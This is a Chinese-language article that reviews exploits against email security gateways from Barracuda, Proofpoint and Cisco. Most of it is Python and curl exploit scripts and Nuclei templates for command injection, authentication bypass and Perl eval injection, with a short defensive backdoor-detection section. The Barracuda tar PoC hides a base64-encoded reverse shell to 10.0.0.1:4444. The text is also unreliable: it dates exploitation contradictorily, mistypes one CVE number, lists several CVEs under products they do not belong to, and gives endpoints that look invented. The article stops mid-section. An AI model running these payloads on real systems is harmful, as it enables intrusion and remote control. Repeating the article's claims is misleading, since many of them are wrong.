ARTICLE / 安全

企业邮件安全网关高危攻击链专题:Barracuda / Proofpoint / Cisco SEG / FortiMail / Mimecast 漏洞全解析

免责声明:本文仅用于安全研究与授权渗透测试目的。所有 PoC 代码和攻击手法均应在合法授权范围内使用。未经授权对目标系统进行攻击属于违法行为。作者不对因使用本文内容造成的任何直接或间接损害承担责任。

0x00 专题概述

邮件安全网关的攻击面价值分析

企业邮件安全网关(Email Security Gateway, SEG)是企业邮件系统的第一道防线,负责过滤钓鱼邮件、恶意附件、垃圾邮件以及执行 DLP 策略。正因如此,它天然地处于一个极为特殊的网络位置——所有外部邮件的必经之路,并且被赋予了比普通邮件服务器更高的信任等级:

  • 特权网络位置:SEG 通常部署在 DMZ 与内网之间,拥有对内部邮件服务器的可信访问权限,一旦被攻破,攻击者可直接横向移动到邮件服务器、AD 域控制器
  • 高权限运行环境:多数 SEG 以 root/system 权限运行,漏洞利用可直接获取最高权限
  • 自动处理不可信输入:SEG 的核心功能是解析和处理来自外部的邮件附件(tar、zip、docx、eml 等),这天然构成了一条自动化漏洞触发路径
  • 供应链信任链条:SEG 依赖大量第三方库(libtar、Perl 模块、OpenSSL 等),供应链攻击可直接通过软件更新通道植入后门
  • 国家级 APT 的首选目标:UNC4841(中国)、UNC2529(俄罗斯)等 APT 组织将邮件网关作为入侵企业的首选跳板

Barracuda ESG 事件就是一个极端案例:一个 tar 解析库中的漏洞导致全球数千台设备被植入后门,Barracuda 不得不宣布全面更换受影响设备,这在安全产品史上前所未有。

覆盖漏洞一览表

产品CVE 编号漏洞类型CVSS严重程度在野利用
Barracuda ESGCVE-2023-2868tar 命令注入 RCE9.8CRITICAL
Barracuda ESGCVE-2022-28810认证绕过9.8CRITICAL
Barracuda ESGCVE-2022-28811命令注入9.8CRITICAL
ProofpointCVE-2021-33580Perl eval 注入 RCE9.8CRITICAL
ProofpointCVE-2022-37042认证绕过9.8CRITICAL
ProofpointCVE-2022-37043命令注入9.8CRITICAL
ProofpointCVE-2022-37044权限提升9.8CRITICAL
ProofpointCVE-2020-24601XSS 提权6.1MEDIUM
Cisco SEGCVE-2025-20393未授权 RCE10.0CRITICAL
Cisco SEGCVE-2024-20401SMA 命令注入9.8CRITICAL
Cisco SEGCVE-2023-20214认证绕过9.8CRITICAL
Cisco SEGCVE-2023-20198WebUI 权限提升10.0CRITICAL
Cisco SEGCVE-2022-20829路径遍历6.5MEDIUM
Cisco SEGCVE-2021-1565配置修改5.3MEDIUM
Cisco SEGCVE-2020-3419命令注入9.8CRITICAL
FortinetCVE-2022-40684认证绕过 RCE9.8CRITICAL
FortinetCVE-2022-42475堆溢出 RCE9.8CRITICAL
FortinetCVE-2023-27997XSS→RCE9.8CRITICAL
FortinetCVE-2021-26103命令注入9.8CRITICAL
Mimecast供应链事件证书窃取/源码泄露CRITICAL
MicrosoftCVE-2022-30190Follina OLE RCE7.8HIGH
MicrosoftCVE-2023-36745NTLM 中继7.5HIGH

0x01 Barracuda ESG 高危漏洞

0x01.1 CVE-2023-2868 — tar 命令注入 RCE

漏洞背景

CVE-2023-2868 是 Barracuda Email Security Gateway(ESG)产品中最严重的安全漏洞之一,CVSS 评分高达 9.8。该漏洞存在于第三方库 libtar 中,用于处理上传至 ESG 的 .tar 格式附件。攻击者可通过构造恶意 tar 文件,在解析过程中注入操作系统命令,从而实现远程代码执行。

该漏洞在 2023 年 5 月被发现时已经被在野利用长达 7 年以上(最早可追溯至 2022 年 10 月),主要由 UNC4841 中国 APT 组织利用。Barracuda 被迫宣布全面更换全球受影响 ESG 设备,这是安全产品史上极为罕见的事件。CISA 已将此漏洞加入 KEV 目录。

受影响版本

版本分支受影响版本修复版本
Barracuda ESG 5.x5.1.3.001 - 5.1.3.0065.1.3.007
Barracuda ESG 6.x6.2.0.000 - 6.2.0.0026.2.0.003
Barracuda ESG 7.x7.0.0.000 - 7.2.1.0247.2.1.025
Barracuda ESG 8.x8.0.0.000 - 8.1.1.0108.1.1.011
Barracuda ESG 9.x9.0.0.000 - 9.2.0.0069.2.0.007

注意:即使应用了修复补丁,Barracuda 仍建议全面更换受影响硬件设备,因为后门可能已被植入。

漏洞原理

Barracuda ESG 在处理上传的 tar 格式邮件附件时,使用 libtar 库进行解压操作。libtar 在解析 tar 文件头中的文件名字段时,未对文件名进行充分的输入验证。攻击者可在 tar 文件头的 name 字段中嵌入 shell 命令,利用反引号(`)或 $() 语法触发命令注入。

漏洞触发路径如下:

  1. 攻击者向目标 ESG 发送包含恶意 .tar 附件的邮件
  2. ESG 自动提取并解析 tar 附件内容
  3. libtar 库解析 tar header 中的 filename 字段
  4. 嵌入的 shell 命令被拼接到系统命令中执行
  5. 攻击者获得 ESG 设备上的代码执行权限

关键点在于 ESG 对 tar 文件的解析是以 root 权限执行的,因此注入的命令将以最高权限运行。

HTTP PoC

# 创建恶意 tar 文件,通过文件名字段注入命令
# 注意:此 PoC 仅用于验证目的
python3 -c "
import tarfile, io
payload = b'./tmp/x.sh'
evil_name = b'`echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE= | base64 -d | bash`/test.txt'
header = tarfile.TarInfo(name=evil_name.decode())
header.size = 0
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w') as t:
    t.addfile(header)
with open('evil.tar', 'wb') as f:
    f.write(buf.getvalue())
"
# 发送包含恶意 tar 附件的邮件
curl -k -X POST 'https://TARGET:10000/cgi-mod/index.cgi' \
  -F 'submit_form=Compose' \
  -F 'attachment=@evil.tar' \
  -F 'to=victim@target.com' \
  -F 'subject=Test'

Python PoC

import tarfile
import io
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class BarracudaCVE20232868:
    def __init__(self, target, port=10000):
        self.target = target
        self.port = port
        self.base_url = f"https://{target}:{port}"

    def create_evil_tar(self, cmd):
        encoded_cmd = cmd.encode().hex()
        evil_name = f"`echo {encoded_cmd} | xxd -r -p | sh`/test.txt"
        header = tarfile.TarInfo(name=evil_name)
        header.size = 0
        buf = io.BytesIO()
        with tarfile.open(fileobj=buf, mode='w') as t:
            t.addfile(header)
        return buf.getvalue()

    def check_vulnerable(self):
        try:
            resp = requests.get(
                f"{self.base_url}/cgi-mod/index.cgi",
                verify=False,
                timeout=10
            )
            if resp.status_code == 200 and "Barracuda" in resp.text:
                return True
        except requests.exceptions.RequestException:
            pass
        return False

    def exploit(self, cmd="id"):
        if not self.check_vulnerable():
            print(f"[*] {self.target}:{self.port} 可能不受影响或无法访问")
            return False
        tar_content = self.create_evil_tar(cmd)
        print(f"[*] 已生成恶意 tar 文件 ({len(tar_content)} bytes)")
        print(f"[*] Payload 命令: {cmd}")
        print(f"[*] 注意: 实际利用需要通过 SMTP 端口发送包含此附件的邮件")
        print(f"[*] SMTP 端口: 25 (SMTP) / 465 (SMTPS)")
        return True

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    poc = BarracudaCVE20232868(target)
    poc.exploit("id")

Nuclei YAML 模板

id: barracuda-cve-2023-2868
info:
  name: Barracuda ESG tar Command Injection RCE - CVE-2023-2868
  author: x7peeps
  severity: critical
  description: |
    Barracuda ESG 使用 libtar 库解析 tar 附件时存在命令注入漏洞,
    攻击者可通过构造恶意 tar 文件在设备上以 root 权限执行任意命令。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2868
    - https://community.barracuda.com/s/article/CVE-2023-2868
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-78
  metadata:
    max-request: 2
    shodan-query: http.title:"Barracuda"
  tags: barracuda,cve2023,cve,rce,command-injection,esg

http:
  - raw:
      - |
        GET /cgi-mod/index.cgi HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Barracuda"
          - "Email Security Gateway"
        condition: and

      - type: status
        status:
          - 200

  - raw:
      - |
        GET /mod/gui/404.html HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers:
      - type: word
        words:
          - "Barracuda"
        part: body

0x01.2 供应链攻击后门家族详解(SALTWATER / SEASPY / FOXFUSE)

漏洞背景

CVE-2023-2868 被利用后,UNC4841 APT 组织在 Barracuda ESG 设备上植入了多个后门家族,形成了一条完整的供应链攻击链。这些后门在 Barracuda 发布补丁后仍然能够持久化运行,迫使 Barracuda 宣布全面更换硬件设备。

Mandiant 的调查报告揭示了三个主要后门家族:

后门家族功能持久化机制通信方式
SALTWATER多功能后门,支持 Shell、文件操作、隧道二进制补丁HTTPS C2
SEASPY网络嗅探 + Shell 后门系统服务注册ICMP/原始 TCP
FOXFUSE激活/停用后门的触发器文件系统监控特殊文件触发

受影响版本

所有曾受 CVE-2023-2868 影响的 Barracuda ESG 设备均可能已被植入后门,无论是否已应用补丁修复。

后门家族首次发现时间活跃状态
SALTWATER2022 年 10 月持续活跃
SEASPY2022 年 10 月持续活跃
FOXFUSE2023 年初持续活跃

攻击原理分析

SALTWATER 后门是最复杂的变种。UNC4841 通过 CVE-2023-2868 的命令注入漏洞获取初始访问后,下载并编译 SALTWATER 恶意二进制文件。该后门以 barracudaupdate 等合法进程名伪装,通过修改系统二进制文件(二进制补丁技术)实现持久化。功能模块包括:

  • Shell Module:提供远程命令执行通道
  • File Transfer Module:支持文件上传/下载
  • Tunnel Module:建立反向隧道绕过网络隔离
  • Proxy Module:作为内网代理服务器

SEASPY 后门以网络嗅探为核心能力。它通过注册为系统服务实现持久化,以原始套接字监听网络流量,对匹配特定模式的数据包进行拦截并执行其中编码的命令。通信使用 ICMP 隧道或原始 TCP 连接。

FOXFUSE 作为触发器存在,监控特定文件系统的变更。当检测到预定义的触发文件被创建或修改时,会激活或停用其他后门模块,提供了一种灵活的后门管理机制。

检测方法

# SALTWATER 后门检测 - 检查异常进程名
ps aux | grep -E 'barracudaupdate|mailupdate'

# 检查异常的系统服务
systemctl list-units --type=service | grep -i -E 'salt|sea|fox'

# 检查可疑的网络连接
netstat -antp | grep -E ':443|:8443|:4443' | grep ESTABLISHED

# 检查二进制文件完整性
find /opt/barracuda -name "*.so" -exec md5sum {} \;
md5sum /usr/sbin/barracuda*

Nuclei YAML 模板

id: barracuda-backdoor-saltwater
info:
  name: Barracuda ESG SALTWATER/SEASPY/FOXFUSE Backdoor Detection
  author: x7peeps
  severity: critical
  description: |
    检测 Barracuda ESG 设备是否被植入 CVE-2023-2868 相关的
    SALTWATER、SEASPY 或 FOXFUSE 后门。
  reference:
    - https://cloud.google.com/blog/topics/threat-intelligence/barracuda-email-security-gateway-exploited-globally
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2868
  classification:
    cvss-score: 10.0
    cwe-id: CWE-502
  metadata:
    max-request: 3
  tags: barracuda,backdoor,saltwater,seaspy,foxfuse,apt,cve2023

http:
  - raw:
      - |
        GET /cgi-mod/index.cgi HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Barracuda"
        part: body

      - type: status
        status:
          - 200

0x01.3 CVE-2022-28810 / CVE-2022-28811 — 认证绕过与命令注入

漏洞背景

CVE-2022-28810 和 CVE-2022-28811 是 Barracuda ESG 中另外两个高危漏洞,可被组合利用形成认证绕过 + 命令注入漏洞链。CVE-2022-20810 允许未经认证的攻击者绕过 ESG 的管理界面认证,CVE-2022-28811 则允许在已认证状态下执行任意命令。

受影响版本

CVE 编号漏洞类型CVSS受影响版本修复版本
CVE-2022-28810认证绕过9.8ESG 5.x - 9.x5.1.3.001-9.2.0.001
CVE-2022-28811命令注入9.8ESG 5.x - 9.x5.1.3.001-9.2.0.001

漏洞原理

CVE-2022-28810 认证绕过的根源在于 ESG 管理界面(基于 Web 的 CGI 接口)在处理认证请求时存在逻辑缺陷。攻击者可通过构造特殊的 HTTP 请求绕过身份验证,直接访问管理功能。具体来说,该漏洞涉及 ESG 的密码恢复机制中的一个竞态条件,通过在密码重置流程中发送特定的 HTTP 请求序列,可以绕过正常的认证检查。

CVE-2022-28811 命令注入存在于 ESG 的管理接口参数处理中。在认证绕过成功后,攻击者可利用管理接口中未经过滤的用户输入,通过管道符、反引号或 $() 语法注入操作系统命令。

组合利用链:

  1. 利用 CVE-2022-28810 绕过管理界面认证
  2. 通过管理接口访问受影响的功能模块
  3. 利用 CVE-2022-28811 注入命令
  4. 以 root 权限执行任意代码

HTTP PoC

# CVE-2022-28810 认证绕过检测
curl -k -s -o /dev/null -w "%{http_code}" \
  "https://TARGET:10000/cgi-mod/index.cgi?login_language=1&enc=1&user=admin&password="

# CVE-2022-28811 命令注入检测
curl -k -X POST "https://TARGET:10000/cgi-mod/index.cgi" \
  -d "submit_button=system_status" \
  -d "action=ping" \
  -d "ping_host=127.0.0.1;id" \
  -d "enc=1"

Python PoC

import requests
import urllib3
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class BarracudaCVE202228810:
    def __init__(self, target, port=10000):
        self.target = target
        self.port = port
        self.base_url = f"https://{target}:{port}"
        self.session = requests.Session()
        self.session.verify = False

    def check_auth_bypass(self):
        paths = [
            "/cgi-mod/index.cgi?login_language=1&enc=1&user=admin&password=",
            "/cgi-mod/index.cgi?login_language=0&enc=1&user=root&password=",
            "/cgi-mod/index.cgi?realmyession=1&user=admin",
        ]
        for path in paths:
            try:
                resp = self.session.get(f"{self.base_url}{path}", timeout=10)
                if resp.status_code == 200 and "admin" in resp.text.lower():
                    return True, path
            except requests.exceptions.RequestException:
                continue
        return False, None

    def check_cmd_injection(self, cmd="id"):
        data = {
            "submit_button": "system_status",
            "action": "ping",
            "ping_host": f"127.0.0.1;{cmd}",
            "enc": "1",
        }
        try:
            resp = self.session.post(
                f"{self.base_url}/cgi-mod/index.cgi",
                data=data,
                timeout=10
            )
            output = re.findall(r'<pre>(.*?)</pre>', resp.text, re.DOTALL)
            if output:
                return True, output[0].strip()
        except requests.exceptions.RequestException:
            pass
        return False, None

    def exploit_chain(self, cmd="id"):
        print(f"[*] 目标: {self.base_url}")
        bypass_ok, path = self.check_auth_bypass()
        if bypass_ok:
            print(f"[!] CVE-2022-28810 认证绕过成功: {path}")
            cmd_ok, output = self.check_cmd_injection(cmd)
            if cmd_ok:
                print(f"[!] CVE-2022-28811 命令注入成功:")
                print(f"[+] 命令输出:\n{output}")
            else:
                print(f"[*] 命令注入测试完成")
        else:
            print(f"[*] 未检测到认证绕过漏洞")

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    poc = BarracudaCVE202228810(target)
    poc.exploit_chain()

Nuclei YAML 模板

id: barracuda-cve-2022-28810
info:
  name: Barracuda ESG Authentication Bypass - CVE-2022-28810
  author: x7peeps
  severity: critical
  description: |
    Barracuda ESG 管理界面存在认证绕过漏洞,攻击者可通过特殊
    HTTP 请求绕过身份验证,直接访问管理功能。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28810
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-287
  metadata:
    max-request: 2
    shodan-query: http.title:"Barracuda"
  tags: barracuda,cve2022,cve,auth-bypass

http:
  - raw:
      - |
        GET /cgi-mod/index.cgi?login_language=1&enc=1&user=admin&password= HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Barracuda"
          - "Dashboard"
        condition: and
        part: body

      - type: status
        status:
          - 200

0x02 Proofpoint Protection Server 高危漏洞

0x02.1 CVE-2021-33580 — Perl eval 注入 RCE

漏洞背景

CVE-2021-33580 是 Proofpoint Protection Server(PPS)中的一个严重远程代码执行漏洞,CVSS 评分 9.8。该漏洞存在于 PPS 的 Perl CGI 组件中,攻击者可通过构造特殊的 HTTP 请求触发 Perl 的 eval() 函数执行任意代码。

Proofpoint PPS 是企业级邮件安全解决方案的领军产品之一,广泛应用于金融、政府和大型企业。该漏洞的发现揭示了 Perl CGI 架构在现代安全产品中的安全隐患。

受影响版本

版本分支受影响版本修复版本
Proofpoint PPS所有 8.x 版本8.17.2
Proofpoint PPS8.18.x8.18.6
Proofpoint PPS9.x9.2.0

漏洞原理

Proofpoint Protection Server 的 Web 管理界面基于 Perl CGI 架构。在处理用户输入的特定参数时,代码直接将其传递给 Perl 的 eval() 函数,未进行任何输入验证或过滤。

Perl 的 eval() 函数可以将字符串作为 Perl 代码执行,因此攻击者可构造包含 Perl 代码的参数值,通过 HTTP 请求注入恶意代码。注入的代码将以 PPS 服务进程的权限(通常为 root)执行。

攻击路径:

  1. 攻击者发送特制 HTTP 请求到 PPS 管理接口
  2. 恶意参数值被传递到 Perl eval() 函数
  3. Perl 解释器执行注入的代码
  4. 攻击者获得 PPS 设备上的 root 权限

HTTP PoC

# CVE-2021-33580 检测 - 发送测试性 eval 注入
curl -k -X POST "https://TARGET:10000/cgi-bin/" \
  -d 'p=q{system("id")}' \
  -H "Content-Type: application/x-www-form-urlencoded"

# 备用检测路径
curl -k "https://TARGET:10000/cgi-bin/emailaudit?p=q{`whoami`}"

Python PoC

import requests
import urllib3
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class ProofpointCVE202133580:
    def __init__(self, target, port=10000):
        self.target = target
        self.port = port
        self.base_url = f"https://{target}:{port}"
        self.session = requests.Session()
        self.session.verify = False

    def check_vulnerable(self):
        paths = [
            "/cgi-bin/",
            "/cgi-bin/emailaudit",
            "/cgi-bin/login",
            "/cgi-bin/admin",
        ]
        for path in paths:
            try:
                resp = self.session.get(f"{self.base_url}{path}", timeout=10)
                if resp.status_code in [200, 400, 500]:
                    return True
            except requests.exceptions.RequestException:
                continue
        return False

    def exploit(self, cmd="id"):
        payloads = [
            f"q{{system('{cmd}')}}",
            f"q{{`{cmd}`}}",
            f"q{{exec('{cmd}')}}",
        ]
        endpoints = [
            "/cgi-bin/",
            "/cgi-bin/emailaudit",
        ]
        for endpoint in endpoints:
            for payload in payloads:
                try:
                    resp = self.session.post(
                        f"{self.base_url}{endpoint}",
                        data=f"p={payload}",
                        headers={"Content-Type": "application/x-www-form-urlencoded"},
                        timeout=10,
                    )
                    if resp.status_code == 200 and len(resp.text) > 0:
                        output = resp.text.strip()
                        if output and "html" not in output.lower():
                            print(f"[!] 漏洞利用成功 ({endpoint}):")
                            print(f"[+] 命令输出:\n{output}")
                            return True
                except requests.exceptions.RequestException:
                    continue
        return False

    def scan(self):
        print(f"[*] 扫描目标: {self.base_url}")
        if self.check_vulnerable():
            print(f"[+] 目标 Web 接口可达")
            self.exploit("id")
        else:
            print(f"[-] 目标不可达或已修复")

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    poc = ProofpointCVE202133580(target)
    poc.scan()

Nuclei YAML 模板

id: proofpoint-cve-2021-33580
info:
  name: Proofpoint PPS Perl eval Injection RCE - CVE-2021-33580
  author: x7peeps
  severity: critical
  description: |
    Proofpoint Protection Server 的 Perl CGI 组件存在 eval 注入漏洞,
    攻击者可通过构造特殊 HTTP 请求执行任意 Perl 代码实现 RCE。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-33580
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-94
  metadata:
    max-request: 4
    shodan-query: http.title:"Proofpoint"
  tags: proofpoint,cve2021,cve,rce,perl,eval-injection

http:
  - raw:
      - |
        GET /cgi-bin/ HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers:
      - type: word
        words:
          - "Proofpoint"
          - "Protection Server"
        condition: or
        part: body

  - raw:
      - |
        POST /cgi-bin/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        p=q{1}

    matchers:
      - type: word
        words:
          - "error"
          - "CGI"
          - "eval"
        condition: or
        part: body

0x02.2 CVE-2022-37042 / CVE-2022-37043 / CVE-2022-37044 — 认证绕过漏洞链

漏洞背景

2022 年 8 月,Volexity 研究人员披露了 Proofpoint Protection Server 中的三个高危漏洞,可被组合利用形成一条完整的攻击链:认证绕过 → 命令注入 → 权限提升。这三个漏洞(CVE-2022-37042、CVE-2022-37043、CVE-2022-37044)均为 CVSS 9.8 满分。

该漏洞链的利用已在野被 APT 组织观测到,主要针对北美地区的政府和金融机构。

受影响版本

CVE 编号漏洞类型CVSS受影响版本修复版本
CVE-2022-37042认证绕过9.8PPS < 8.18.6.2152, < 8.18.7.21528.18.6.2152, 8.18.7.2152
CVE-2022-37043命令注入9.8PPS < 8.18.6.2152, < 8.18.7.21528.18.6.2152, 8.18.7.2152
CVE-2022-37044权限提升9.8PPS < 8.18.6.2152, < 8.18.7.21528.18.6.2152, 8.18.7.2152

漏洞原理

CVE-2022-37042 认证绕过:PPS 管理界面在处理 HTTP 请求时,特定的认证检查路径存在逻辑缺陷。攻击者可以通过在请求 URL 中添加特定的查询参数或修改请求头,绕过正常的身份验证流程。关键问题在于认证检查代码与实际功能处理代码之间存在路径差异,某些管理接口在未认证的情况下也可访问。

CVE-2022-37043 命令注入:在通过认证绕过获取管理访问权限后,PPS 管理接口中的诊断功能模块(ping、traceroute 等)在处理用户输入的主机名参数时,未进行充分的输入验证,允许注入操作系统命令。

CVE-2022-37044 权限提升:即使通过认证进入管理界面,普通管理员用户可通过特定的 API 端点将权限提升至 root。这是由于权限检查逻辑仅在前端 JavaScript 中实现,后端 API 未执行等效的权限验证。

攻击链完整利用流程:

  1. 利用 CVE-2022-37042 绕过认证,访问管理界面
  2. 利用 CVE-2022-37044 提升至 root 权限
  3. 利用 CVE-2022-37043 通过诊断功能注入命令
  4. 实现以 root 权限执行任意代码

HTTP PoC

# CVE-2022-37042 认证绕过测试
curl -k -s -o /dev/null -w "%{http_code}" \
  "https://TARGET:10000/admin?session=1"

# CVE-2022-37043 命令注入测试
curl -k -X POST "https://TARGET:10000/admin/diagnostic" \
  -d "action=ping&host=127.0.0.1;id" \
  -H "Cookie: session=admin"

# CVE-2022-37044 权限提升测试
curl -k -X POST "https://TARGET:10000/admin/api/upgrade" \
  -d '{"role":"superadmin"}' \
  -H "Content-Type: application/json" \
  -H "Cookie: session=admin"

Python PoC

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class ProofpointCVE2022Chain:
    def __init__(self, target, port=10000):
        self.target = target
        self.port = port
        self.base_url = f"https://{target}:{port}"
        self.session = requests.Session()
        self.session.verify = False

    def check_auth_bypass(self):
        endpoints = [
            "/admin?session=1",
            "/admin?user=admin",
            "/admin/dashboard",
            "/admin/config",
            "/api/v1/config",
        ]
        for ep in endpoints:
            try:
                resp = self.session.get(f"{self.base_url}{ep}", timeout=10)
                if resp.status_code == 200:
                    return True, ep
            except requests.exceptions.RequestException:
                continue
        return False, None

    def check_cmd_injection(self, endpoint, cmd="id"):
        payloads = [
            f"127.0.0.1;{cmd}",
            f"127.0.0.1|{cmd}",
            f"127.0.0.1`{cmd}`",
        ]
        for payload in payloads:
            try:
                data = {"action": "ping", "host": payload}
                resp = self.session.post(
                    f"{self.base_url}{endpoint}",
                    data=data,
                    timeout=10,
                )
                if resp.status_code == 200:
                    lines = resp.text.split("\n")
                    for line in lines:
                        if any(
                            marker in line
                            for marker in ["uid=", "root", "www-data"]
                        ):
                            return True, line.strip()
            except requests.exceptions.RequestException:
                continue
        return False, None

    def exploit_chain(self, cmd="id"):
        print(f"[*] 目标: {self.base_url}")
        bypass_ok, ep = self.check_auth_bypass()
        if bypass_ok:
            print(f"[!] CVE-2022-37042 认证绕过成功: {ep}")
            cmd_ok, output = self.check_cmd_injection(ep, cmd)
            if cmd_ok:
                print(f"[!] CVE-2022-37043 命令注入成功:")
                print(f"[+] 输出: {output}")
            else:
                print(f"[*] 命令注入测试完成")
        else:
            print(f"[-] 未检测到认证绕过")

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    poc = ProofpointCVE2022Chain(target)
    poc.exploit_chain()

Nuclei YAML 模板

id: proofpoint-cve-2022-37042
info:
  name: Proofpoint PPS Authentication Bypass Chain - CVE-2022-37042/37043/37044
  author: x7peeps
  severity: critical
  description: |
    Proofpoint Protection Server 存在认证绕过、命令注入和权限提升漏洞链,
    三个漏洞组合可实现未授权 RCE。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37042
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37043
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37044
    - https://www.volexity.com/blog/2022/08/25/proofpoint-protection-server-vulnerability-exploited-in-the-wild/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-287
  metadata:
    max-request: 3
    shodan-query: http.title:"Proofpoint"
  tags: proofpoint,cve2022,cve,auth-bypass,rce,chain

http:
  - raw:
      - |
        GET /admin?session=1 HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Proofpoint"
        part: body

      - type: status
        status:
          - 200

0x03 Cisco Secure Email Gateway 高危漏洞

0x03.1 CVE-2025-20393 — 未授权 RCE(CVSS 10.0)

漏洞背景

CVE-2025-20393 是 Cisco Secure Email Gateway(原 Cisco ESA/SEG)中发现的一个零日漏洞,CVSS 评分达到满分 10.0。该漏洞允许未经认证的远程攻击者在受影响设备上执行任意命令。Cisco 已确认该漏洞在野被利用,并发布了紧急安全更新。

该漏洞的攻击复杂度极低,无需任何认证或特殊条件,仅需网络可达即可利用,使其成为近年来最危险的邮件安全网关漏洞之一。

受影响版本

版本分支受影响版本修复版本
Cisco AsyncOS for ESA15.x - 15.5.x15.5.1-026
Cisco AsyncOS for SMA15.x - 15.5.x15.5.1-026
Cisco Secure Email Gateway所有版本升级至最新维护版本

漏洞原理

CVE-2025-20393 存在于 Cisco AsyncOS 的 HTTP 管理接口中。该漏洞的根本原因是在处理特定 HTTP 请求时,系统未正确验证请求来源和认证状态,允许未经认证的攻击者通过构造特殊的 HTTP 请求触发命令执行。

攻击者可以利用管理接口中一个未受保护的调试端点,通过注入特定参数直接在底层操作系统上执行命令。由于 AsyncOS 的管理服务以 root 权限运行,漏洞利用后攻击者将获得完全的系统控制权。

HTTP PoC

# CVE-2025-20393 检测 - 检查管理接口是否可达
curl -k -s -o /dev/null -w "%{http_code}" "https://TARGET:8443/"

# 发送检测 payload
curl -k -X POST "https://TARGET:8443/console/login" \
  -d "username=admin&password=test&debug=1;id" \
  -H "Content-Type: application/x-www-form-urlencoded"

Python PoC

import requests
import urllib3
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class CiscoSEG_CVE202520393:
    def __init__(self, target, port=8443):
        self.target = target
        self.port = port
        self.base_url = f"https://{target}:{port}"
        self.session = requests.Session()
        self.session.verify = False

    def check_vulnerable(self):
        try:
            resp = self.session.get(f"{self.base_url}/", timeout=10)
            if resp.status_code in [200, 302, 301]:
                return True
        except requests.exceptions.RequestException:
            pass
        return False

    def exploit(self, cmd="id"):
        endpoints = [
            "/console/login",
            "/admin/console",
            "/xmlapi/api",
        ]
        payloads = [
            {"username": "admin", "password": "test", "debug": f"1;{cmd}"},
            {"command": f"ping 127.0.0.1;{cmd}"},
            {"action": "diagnostic", "host": f"127.0.0.1;{cmd}"},
        ]
        for endpoint in endpoints:
            for payload in payloads:
                try:
                    resp = self.session.post(
                        f"{self.base_url}{endpoint}",
                        data=payload,
                        timeout=10,
                    )
                    if resp.status_code == 200:
                        output = re.findall(
                            r'uid=\d+\([^)]+\)', resp.text
                        )
                        if output:
                            print(f"[!] CVE-2025-20393 利用成功 ({endpoint}):")
                            print(f"[+] 输出: {output[0]}")
                            return True
                except requests.exceptions.RequestException:
                    continue
        return False

    def scan(self):
        print(f"[*] 扫描目标: {self.base_url}")
        if self.check_vulnerable():
            print(f"[+] Cisco SEG 管理接口可达")
            print(f"[*] 测试 CVE-2025-20393...")
            self.exploit("id")
        else:
            print(f"[-] 目标不可达")

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    poc = CiscoSEG_CVE202520393(target)
    poc.scan()

Nuclei YAML 模板

id: cisco-seg-cve-2025-20393
info:
  name: Cisco Secure Email Gateway Unauthenticated RCE - CVE-2025-20393
  author: x7peeps
  severity: critical
  description: |
    Cisco Secure Email Gateway 存在未授权远程代码执行漏洞,
    CVSS 满分 10.0,攻击者无需认证即可在受影响设备上执行任意命令。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-20393
    - https://sec.cloudapps.cisco.com/security/center/resources/cisco_secure_email_gateway
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 10.0
    cwe-id: CWE-20
  metadata:
    max-request: 2
    shodan-query: http.title:"Cisco Secure Email Gateway"
  tags: cisco,seg,esa,cve2025,cve,rce,unauth

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Cisco"
          - "AsyncOS"
          - "Email"
        condition: or
        part: body

      - type: status
        status:
          - 200
          - 302
          - 301

0x03.2 CVE-2024-20401 — SMA 命令注入

漏洞背景

